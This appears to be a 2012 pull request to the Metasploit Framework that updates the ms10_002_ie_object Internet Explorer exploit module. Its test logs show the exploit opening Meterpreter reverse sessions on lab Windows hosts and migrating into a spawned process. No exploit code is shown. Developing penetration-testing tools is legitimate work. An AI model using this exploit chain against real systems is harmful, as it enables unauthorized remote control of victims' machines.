rapid7/metasploit-framework — pull request #869 by wchen-r7 (2012-10-07 06:45:33+00:00)
Title: Use RopDb, and print what target the module has selected.

This pull request has the following changes:

* RopDb mixin
* Print the target selection

Test Results:

Test #1:

msf exploit(ms10_002_ie_object) > [*] Server started.
[*] 10.0.1.7 ms10_002_ie_object - Target selected: IE 8 on Windows 7 SP0
[*] 10.0.1.7 ms10_002_ie_object - Sending HTML
[*] Sending stage (752128 bytes) to 10.0.1.7
[*] Meterpreter session 4 opened (10.0.1.3:4444 -> 10.0.1.7:49159) at 2012-10-07 01:38:19 -0500
[*] Session ID 4 (10.0.1.3:4444 -> 10.0.1.7:49159) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (2564)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2968
[+] Successfully migrated to process

Test #2:

msf exploit(ms10_002_ie_object) > [*] Local IP: http://10.0.1.3:8080/z7uDAsVGewMR
[*] Server started.
[*] 10.0.1.6 ms10_002_ie_object - Target selected: IE 8 on Windows XP SP3
[*] 10.0.1.6 ms10_002_ie_object - Sending HTML
[*] Sending stage (752128 bytes) to 10.0.1.6
[*] Meterpreter session 5 opened (10.0.1.3:4444 -> 10.0.1.6:1061) at 2012-10-07 01:42:04 -0500
[*] Session ID 5 (10.0.1.3:4444 -> 10.0.1.6:1061) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (880)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2288